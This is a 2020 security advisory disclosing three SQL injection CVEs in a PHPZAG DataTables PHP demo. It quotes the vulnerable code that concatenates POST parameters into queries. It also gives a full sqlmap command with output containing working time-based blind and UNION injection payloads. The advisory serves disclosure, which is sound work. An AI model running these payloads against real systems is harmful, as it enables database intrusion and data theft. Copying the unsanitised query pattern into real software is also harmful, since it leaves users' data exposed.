Advisory #: 213

Title: SQL Injection in search field of phpzag live add edit delete data tables records with ajax php mysql

Author: Larry W. Cashdollar, @_larry0

Date: 2020-05-19

CVE-ID:[CVE-2020-8519][CVE- 2020-8520][CVE- 2020-8521]

CWE:

Download Site: https://www.phpzag.com/live-add-edit-delete-datatables-records-with-ajax-php-mysql/

Vendor: PHPZAG

Vendor Notified: 2020-05-19

Vendor Contact:

Advisory: http://www.vapidlabs.com/advisory.php?v=213

Description: DataTables is a jQuery JavaScript library to convert simple HTML tables to dynamic feature-rich tables. The jQuery DataTables are very user friendly to list records with live add, edit, delete records without page refresh. Due to this, DataTables used widely in web applications to list records.

Vulnerability:
There is SQL injection in the search function in Records.php:

CVE-2020-8519 SQL injection in search parameter:

```
20  if(!empty($_POST["search"]["value"])){
21          $sqlQuery .= 'where(id LIKE "%'.$_POST["search"]["value"].'%" ';
22          $sqlQuery .= ' OR name LIKE "%'.$_POST["search"]["value"].'%" ';
23          $sqlQuery .= ' OR designation LIKE "%'.$_POST["search"]["value"].'%" ';
24          $sqlQuery .= ' OR address LIKE "%'.$_POST["search"]["value"].'%" ';
25          $sqlQuery .= ' OR skills LIKE "%'.$_POST["search"]["value"].'%") ';
26      }
27
```

CVE-2020-8520 SQL Injection in line 29 with 'order' and 'column' parameter:

```
28      if(!empty($_POST["order"])){
29          $sqlQuery .= 'ORDER BY '.$_POST['order']['0']['column'].' '.$_POST['order']['0']['dir'].' ';
30      } else {
31          $sqlQuery .= 'ORDER BY id DESC ';
32      }
```

CVE-2020-8521 SQL Injection line 35 with 'start' and 'length' parameters:

```
34      if($_POST["length"] != -1){
35          $sqlQuery .= 'LIMIT ' . $_POST['start'] . ', ' . $_POST['length'];
36      }
```

Export: JSON TEXT XML

Exploit Code:

```
1. $ sqlmap -u "http://192.168.0.149/live-add-edit-delete-datatables-php-mysql-demo/ajax_action.php" --data "draw=153&columns[0]
   [data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search]
   [regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search]
   [value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][searchable]=true&columns[2]
   [orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3]
   [searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4]
   [name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search][regex]=false&columns[5]
   [data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search][value]=&columns[5][search]
   [regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6][orderable]=false&columns[6][search]
   [value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7][searchable]=true&columns[7]
   [orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
   [dir]=asc&start=0&length=10&search[value]="+and+"1&search[regex]=false&action=listRecords" -p "search[value]" --method POST --dbms=mysql --
   level 2 --risk 2
2.         ___
3.        __H__
4.  ___ ___['']_____ ___ ___  {1.1#stable}
5. |_ -| . [(]     | .'| . |
6. |___|_  ['']_|_|_|__,|  _|
7.       |_|V          |_|   http://sqlmap.org
8.
9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
   obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
   this program
10.
11. [*] starting at 10:38:51
12.
13. [10:38:52] [INFO] testing connection to the target URL
14. [10:38:52] [INFO] testing if the target URL is stable
15. [10:38:53] [INFO] target URL is stable
16. [10:38:53] [WARNING] heuristic (basic) test shows that POST parameter 'search[value]' might not be injectable
17. [10:38:53] [INFO] testing for SQL injection on POST parameter 'search[value]'
18. [10:38:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
19. [10:38:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)'
20. [10:38:56] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
21. [10:38:56] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
22. [10:38:56] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
23. [10:38:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
24. [10:38:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)'
25. [10:38:57] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace'
26. [10:38:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
27. [10:38:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
28. [10:38:59] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
29. [10:38:59] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
30. [10:39:00] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
31. [10:39:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
32. [10:39:01] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
33. [10:39:01] [INFO] testing 'MySQL inline queries'
34. [10:39:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
35. [10:39:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
36. [10:39:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
37. [10:39:53] [INFO] POST parameter 'search[value]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
38. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (2) values? [Y/n] y
39. [10:40:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
40. [10:40:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential)
    technique found
41. [10:40:00] [INFO] target URL appears to be UNION injectable with 6 columns
42. [10:40:00] [INFO] POST parameter 'search[value]' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
43. POST parameter 'search[value]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
44. sqlmap identified the following injection point(s) with a total of 203 HTTP(s) requests:
45. ---
46. Parameter: search[value] (POST)
47.     Type: AND/OR time-based blind
48.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
49.     Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search]
    [value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1]
    [orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2]
    [searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3]
    [name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4]
    [data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search]
    [regex]=false&columns[5][data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search]
```

```
[value]=&columns[5][search][regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6]
[orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7]
[searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]= and 1") AND (SELECT * FROM (SELECT(SLEEP(5)))KGDc) AND
("Aejs"="Aejs&search[regex]=false&action=listRecords

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search]
[value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1]
[orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2]
[searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3]
[name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4]
[data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search]
[regex]=false&columns[5][data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search]
[value]=&columns[5][search][regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6]
[orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7]
[searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]= and 1") UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x7162717671,0x5a6b657a4552635574787974694344e4f506b596f4e5a585668496b6e7464796e6a6f6a596e656b4e,0x717a767171),NULL-
- SkNj&search[regex]=false&action=listRecords
---
[10:40:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[10:40:02] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 31 times
[10:40:02] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.149'

```

Screen Shots:

Notes: